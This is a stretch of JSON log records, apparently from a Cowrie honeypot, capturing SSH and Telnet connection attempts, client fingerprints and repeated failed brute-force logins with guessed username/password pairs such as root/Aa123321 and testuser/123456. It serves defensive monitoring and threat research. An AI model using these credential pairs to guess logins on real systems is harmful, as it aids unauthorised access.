{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:02.573635Z","src_ip":"176.65.132.129","session":"84ceae36fbe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":44780,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0dc601703d0","protocol":"telnet","message":"New connection: 45.81.23.16:44780 (10.17.0.5:23) [session: c0dc601703d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:03.061208Z"}
{"eventid":"cowrie.session.closed","duration":4.895463228225708,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:03.161202Z","src_ip":"38.54.119.93","session":"f00c16f3740c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:03.658354Z","src_ip":"176.65.132.129","session":"84ceae36fbe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":37502,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbca09f8236c","protocol":"telnet","message":"New connection: 64.227.82.147:37502 (159.203.135.109:23) [session: cbca09f8236c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:04.988777Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36168,"dst_ip":"10.17.0.5","dst_port":22,"session":"52e6f556d2ae","protocol":"ssh","message":"New connection: 176.65.132.129:36168 (10.17.0.5:22) [session: 52e6f556d2ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:05.514589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:05.519180Z","src_ip":"176.65.132.129","session":"52e6f556d2ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:05.603253Z","src_ip":"176.65.132.129","session":"52e6f556d2ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin","message":"login attempt [sysadmin/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:05.847897Z","src_ip":"176.65.132.129","session":"52e6f556d2ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.2930116653442383,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:06.354084Z","src_ip":"45.81.23.16","session":"c0dc601703d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:06.932425Z","src_ip":"176.65.132.129","session":"52e6f556d2ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50740,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b8cb3a47aac","protocol":"ssh","message":"New connection: 176.65.132.129:50740 (10.17.0.5:22) [session: 1b8cb3a47aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:08.801711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:08.805830Z","src_ip":"176.65.132.129","session":"1b8cb3a47aac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:08.887692Z","src_ip":"176.65.132.129","session":"1b8cb3a47aac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:09.278193Z","src_ip":"176.65.132.129","session":"1b8cb3a47aac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35590,"dst_ip":"159.203.135.109","dst_port":23,"session":"95e6da2001ed","protocol":"telnet","message":"New connection: 38.60.198.128:35590 (159.203.135.109:23) [session: 95e6da2001ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:10.028860Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:10.363792Z","src_ip":"176.65.132.129","session":"1b8cb3a47aac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50750,"dst_ip":"10.17.0.5","dst_port":22,"session":"24bddbc0e6fd","protocol":"ssh","message":"New connection: 176.65.132.129:50750 (10.17.0.5:22) [session: 24bddbc0e6fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:12.176529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:12.181111Z","src_ip":"176.65.132.129","session":"24bddbc0e6fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:12.263020Z","src_ip":"176.65.132.129","session":"24bddbc0e6fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123456","message":"login attempt [t1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:12.509056Z","src_ip":"176.65.132.129","session":"24bddbc0e6fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:13.632230Z","src_ip":"176.65.132.129","session":"24bddbc0e6fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50756,"dst_ip":"10.17.0.5","dst_port":22,"session":"25461c96926e","protocol":"ssh","message":"New connection: 176.65.132.129:50756 (10.17.0.5:22) [session: 25461c96926e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:15.436995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:15.441137Z","src_ip":"176.65.132.129","session":"25461c96926e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:15.522642Z","src_ip":"176.65.132.129","session":"25461c96926e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:15.768893Z","src_ip":"176.65.132.129","session":"25461c96926e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:16.856732Z","src_ip":"176.65.132.129","session":"25461c96926e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43494,"dst_ip":"10.17.0.5","dst_port":22,"session":"14a69fc7d0de","protocol":"ssh","message":"New connection: 176.65.132.129:43494 (10.17.0.5:22) [session: 14a69fc7d0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:18.826587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:18.830858Z","src_ip":"176.65.132.129","session":"14a69fc7d0de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:18.912910Z","src_ip":"176.65.132.129","session":"14a69fc7d0de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:19.159021Z","src_ip":"176.65.132.129","session":"14a69fc7d0de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:20.244399Z","src_ip":"176.65.132.129","session":"14a69fc7d0de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":53544,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cd8afe1cf52","protocol":"ssh","message":"New connection: 46.253.45.10:53544 (10.17.0.5:22) [session: 5cd8afe1cf52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:20.368182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:20.372430Z","src_ip":"46.253.45.10","session":"5cd8afe1cf52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:20.489524Z","src_ip":"46.253.45.10","session":"5cd8afe1cf52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin.","message":"login attempt [root/admin.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:20.997645Z","src_ip":"46.253.45.10","session":"5cd8afe1cf52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43524,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1d17ce3cc26","protocol":"ssh","message":"New connection: 176.65.132.129:43524 (10.17.0.5:22) [session: c1d17ce3cc26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:22.089231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:22.096547Z","src_ip":"176.65.132.129","session":"c1d17ce3cc26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:22.118024Z","src_ip":"46.253.45.10","session":"5cd8afe1cf52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:22.178341Z","src_ip":"176.65.132.129","session":"c1d17ce3cc26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:22.424387Z","src_ip":"176.65.132.129","session":"c1d17ce3cc26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.798482418060303,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:22.787133Z","src_ip":"64.227.82.147","session":"cbca09f8236c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:23.508838Z","src_ip":"176.65.132.129","session":"c1d17ce3cc26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":36028,"dst_ip":"10.17.0.5","dst_port":23,"session":"10829118b6f0","protocol":"telnet","message":"New connection: 45.81.23.16:36028 (10.17.0.5:23) [session: 10829118b6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:24.786131Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43552,"dst_ip":"10.17.0.5","dst_port":22,"session":"09f327694037","protocol":"ssh","message":"New connection: 176.65.132.129:43552 (10.17.0.5:22) [session: 09f327694037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:25.416052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:25.420767Z","src_ip":"176.65.132.129","session":"09f327694037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2